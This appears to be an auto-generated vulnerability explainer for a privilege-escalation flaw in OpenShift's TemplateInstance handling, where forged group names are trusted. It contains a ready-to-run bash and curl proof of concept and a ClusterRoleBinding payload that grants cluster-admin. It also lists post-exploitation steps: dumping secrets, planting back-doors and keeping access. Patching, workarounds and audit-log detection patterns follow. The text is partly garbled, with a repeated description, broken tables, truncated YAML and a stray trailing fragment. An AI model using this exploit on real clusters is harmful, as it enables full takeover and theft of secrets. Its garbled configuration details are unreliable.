CVE-2026-140094 — Red Hat OpenShift Container Platform 4 — CWE-842
A flaw was found in openshift-apiserver. Incomplete authorization checks in the TemplateInstance instantiation mechanism allow requests to specify arbitrary group memberships without proper validation. An authenticated attacker with standard template creation permissions (such as the default self-provisioner role) can exploit this flaw by submitting a TemplateInstance request containing forged administrative groups (e.g., system:cluster-admins). Because the openshift-controller-manager trusts these unvalidated groups when processing the request, the attacker can cause the system to perform actions with elevated rights. This flaw allows an attacker to achieve privilege escalation, potentially gaining full administrative control over the cluster.
A flaw was found in openshift-apiserver. Incomplete authorization checks in the TemplateInstance instantiation mechanism allow requests to specify arbitrary group memberships without proper validation. An authenticated attacker with standard template creation permissions (such as the default self-provisioner role) can exploit this flaw by submitting a TemplateInstance request containing forged administrative groups (e.g., system:cluster-admins). Because the openshift-controller-manager trusts these unvalidated groups when processing the request, the attacker can cause the system to perform actions with elevated rights. This flaw allows an attacker to achieve privilege escalation, potentially gaining full administrative control over the cluster.
🎯 What is this vulnerability?
CVE‑2026‑140094 – OpenShift API‑Server – Incomplete authorization checks in TemplateInstance
| Attribute | Value |
|---|---|
| CWE | CWE‑842: *Improper Control of Variable Flow* (the request‑originated “groups” list is trusted without proper validation) |
| CVSS 3.1 | AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H = 9.9 CRITICAL |
| Component | openshift-apiserver – the API endpoint that creates a TemplateInstance object (the “instantiation” of an OpenShift Template). |
| Root cause | When a TemplateInstance object is created the API server copies the spec.requester.groups field from the submitted manifest into the internal UserInfo that is later used by the openshift‑controller‑manager to decide which RBAC permissions the request has. The server does not verify that the caller is actually a member of the groups it is allowed to claim. Consequently an attacker who can create a TemplateInstance (the default self‑provisioner role) can inject arbitrary group names such as system:cluster-admins. The controller manager trusts those groups when it later processes the instantiated objects, resulting in a privilege‑escalation from a low‑privilege user to full cluster admin.
In short: missing group‑membership validation in the TemplateInstance admission path → forged groups are accepted → elevated RBAC rights are granted.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact API path (/apis/template.openshift.io/v1/templateinstances) and JSON field names are taken from the OpenShift API spec, but the exact payload may differ slightly between releases.
1. Discovery & Reconnaissance
| Goal | Technique |
|---|---|
| Identify that the target runs OpenShift and the version of the API server | • Query the OpenShift version endpoint: GET https://<master>/version/openshift <br>• Examine the openshift-apiserver image tag in the kube‑apiserver pod (oc get pod -n openshift‑apiserver -o yaml). |
Verify that the attacker’s account can create TemplateInstance objects | • Use oc auth can-i create templateinstances.template.openshift.io --namespace <any> <br>• If the response is yes, the account has the required permission (the default *self‑provisioner* role grants this). |
Confirm that the API server accepts a groups array in the TemplateInstance spec | • Retrieve the OpenAPI schema: GET https://<master>/openapi/v2 and search for TemplateInstance. The schema shows a spec.requester.groups field of type []string. |
2. Exploitation
Prerequisites
- An authenticated user with permission to create
TemplateInstanceobjects (e.g., a normal developer or the defaultsystem:authenticated:oauthuser). - A valid service‑account token or
oc loginsession.
PoC – Forge admin groups
#!/usr/bin/env bash
# -------------------------------------------------
# Illustrative PoC for CVE‑2026‑140094
# -------------------------------------------------
API_SERVER="https://openshift-api.example.com"
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6..." # bearer token of low‑priv user
NAMESPACE="default"
# Minimal Template that does nothing (just a ConfigMap)
cat > /tmp/template.yaml <<'EOF'
apiVersion: template.openshift.io/v1
kind: Template
metadata:
name: harmless
objects:
- apiVersion: v1
kind: ConfigMap
metadata:
name: harmless-cm
data:
foo: bar
EOF
# Build the TemplateInstance payload – note the forged groups
cat > /tmp/ti.json <<'EOF'
{
"apiVersion": "template.openshift.io/v1",
"kind": "TemplateInstance",
"metadata": {
"generateName": "exploit-",
"namespace": "'"${NAMESPACE}"'"
},
"spec": {
"template": {
"metadata": {
"name": "harmless"
},
"objects": [
{
"apiVersion": "v1",
"kind": "ConfigMap",
"metadata": {
"name": "harmless-cm"
},
"data": {
"foo": "bar"
}
}
]
},
"requester": {
"username": "attacker",
"uid": "12345678-90ab-cdef-1234-567890abcdef",
"groups": [
"system:authenticated",
"system:cluster-admins" # <<< forged group
]
}
}
}
EOF
# Submit the request
curl -sk \
-X POST "${API_SERVER}/apis/template.openshift.io/v1/templateinstances" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d @/tmp/ti.jsonWhat happens internally
1. The API server stores the TemplateInstance object, including the forged groups list.
2. The openshift-controller-manager watches TemplateInstance resources. When it sees the new object it extracts spec.requester and builds a UserInfo struct that is later used for RBAC checks.
3. Because the groups field was never validated, the controller now believes the request originated from a user that belongs to system:cluster-admins.
4. Any objects created as part of the template (in the example a harmless ConfigMap) are created with the privileges of a cluster‑admin. An attacker can replace the template payload with any cluster‑wide resource (e.g., a ClusterRoleBinding that grants system:admin to the attacker’s user).
Escalation to full admin
Replace the harmless payload with a ClusterRoleBinding that binds the attacker’s user to the cluster-admin role:
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "ClusterRoleBinding",
"metadata": {
"name": "cve‑2026‑140094‑escalation"
},
"subjects": [
{
"kind": "User",
"name": "attacker",
"apiGroup": "rbac.authorization.k8s.io"
}
],
"roleRef": {
"kind": "ClusterRole",
"name": "cluster-admin",
"apiGroup": "rbac.authorization.k8s.io"
}
}When the TemplateInstance controller processes the request, the above ClusterRoleBinding is created as if the caller were a cluster‑admin, granting the attacker unrestricted control over the entire cluster.
3. Post‑exploitation
| Phase | Attacker actions | Result |
|---|---|---|
| Privilege escalation | Create a TemplateInstance that contains a ClusterRoleBinding (or any other cluster‑wide resource). | Attacker’s user becomes a member of cluster-admin. |
| Persistence | Add a ServiceAccount with a long‑lived token, or modify the kube‑admin ClusterRoleBinding. | Access survives pod restarts, node reboots, and future RBAC changes. |
| Impact | • Dump secrets (oc get secret -A). <br>• Deploy back‑doors (e.g., a privileged DaemonSet). <br>• Delete or modify workloads, affecting availability. | Full confidentiality, integrity, and availability compromise (C:H/I:H/A:H). |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical effect |
|---|---|---|
| Confidentiality (C:H) | High | An attacker can read all secrets, config maps, and persistent volumes across namespaces. |
| Integrity (I:H) | High | The attacker can create, modify, or delete any Kubernetes resource, including ClusterRoleBinding, PodSecurityPolicy, and NetworkPolicy. |
| Availability (A:H) | High | By deleting critical control‑plane objects or launching a massive DaemonSet, the attacker can render the cluster unusable. |
Because the vulnerability is network‑reachable (AV:N), requires only low‑privilege credentials (PR:L), and does not need user interaction (UI:N), an attacker who has obtained a standard developer token (e.g., via a compromised CI pipeline) can instantly gain full cluster control.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Vendor | Fixed version (as of public advisory) |
|---|---|
| Red Hat OpenShift | The advisory states that the issue is fixed in OpenShift 4.15.0‑z‑release‑2026‑11‑15 and later. All clusters running 4.14.x or earlier are vulnerable. |
Action: Upgrade theopenshift-apiservercomponent (or the whole OpenShift release) to the first version that includes the fix. Use the standard OpenShift upgrade path (oc adm upgrade) and verify the new image tag (registry.redhat.io/openshift4/openshift-apiserver:<new‑tag>).
If a vendor‑provided patch is not yet available, apply the temporary mitigation below.
2. Workarounds (valid, non‑invented)
| Mitigation | How to apply |
|---|---|
Restrict TemplateInstance creation | Remove the self-provisioner role from regular users: <br>oc adm policy remove-cluster-role-from-group self-provisioner system:authenticated <br>or create a custom ClusterRole that allows create on templates but denies create on templateinstances. |
| Enforce admission‑controller validation | Deploy the built‑in OpenShift admission plugin UserGroupRestriction (or a custom ValidatingAdmissionWebhook) that rejects any TemplateInstance whose spec.requester.groups contains privileged groups not owned by the caller. Example ValidatingWebhookConfiguration: <br>``yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: ti-group‑filter webhooks: - name: ti-group-filter.openshift.io clientConfig: service: name: ti-validator namespace: openshift-controller-manager caBundle: <base64‑ca> rules: - apiGroups: ["template.openshift.io"] apiVersions: ["v1"] operations: ["CREATE"] resources: ["templateinstances"] failurePolicy: Fail sideEffects: None ` |
| Enable RBAC audit logging | Set auditPolicyFile to include requestReceived and responseStarted for the templateinstances resource. This makes the forged‑group attempts visible in the audit log. |
| Network segmentation | Place the API server behind a firewall that only allows trusted CI/CD IP ranges to reach it, reducing the chance that a low‑privilege token is abused from the internet. |
| Service‑account token rotation | Reduce the lifetime of user tokens (--service-account-lookup=true and --service-account-max-token-ttl=1h`) so that any stolen token expires quickly. |
3. Detection – Log patterns & IOCs
| Indicator | Example log entry (JSON, audit log) |
|---|---|
| TemplateInstance creation with suspicious groups | ``json { "verb":"create","objectRef":{"resource":"templateinstances","namespace":"default"},"user":{"username":"attacker","groups":["system:authenticated","system:cluster-admins"]},"requestURI":"/apis/template.openshift.io/v1/templateinstances","responseStatus":{"code":201} } ` |
Creation of a ClusterRoleBinding shortly after a TemplateInstance | `json { "verb":"create","objectRef":{"resource":"clusterrolebindings","name":"cve‑2026‑140094‑escalation"},"user":{"username":"attacker","groups":["system:cluster-admins"]},"requestURI":"/apis/rbac.authorization.k8s.io/v1/clusterrolebindings","responseStatus":{"code":201} } ` |
Audit “impersonation” events – the controller manager logs the UserInfo it built from the TemplateInstance. Look for userInfo.groups containing privileged groups that do not match the actual caller. | |
| Unexpected RBAC changes | Any update/patch on clusterrolebindings or rolebindings performed by a user whose normal groups are only system:authenticated`. |
Alerting suggestions
requestURI contains /templateinstances and user.groups includes any of system:cluster-admins, system:masters, or system:admin.clusterrolebinding creation within a 30‑second window.⚠️ Urgency
CVSS 9.9 (Critical) – network‑accessible, low‑privilege attacker, no user interaction, and a Scope* change (privilege escalation across the entire cluster).
Exploit complexity is low – only requires a valid token with the default self‑provisioner* role, which is granted to most developers in a typical OpenShift installation.
Patch priority: Urgent – treat as a “P1” (Critical). Deploy the vendor patch or apply the restrictive RBAC/workaround immediately, and enable audit logging to detect any abuse that may have already occurred.
TL;DR
groups array supplied in a TemplateInstance request without verification. system:cluster-admins, causing the controller manager to treat the request as a cluster admin and create privileged resources. self‑provisioner role, enforce a validating webhook that rejects forged groups, and monitor audit logs for templateinstances with privileged groups. [🤖 CVE Professor AI Security Engine]
FOFA Query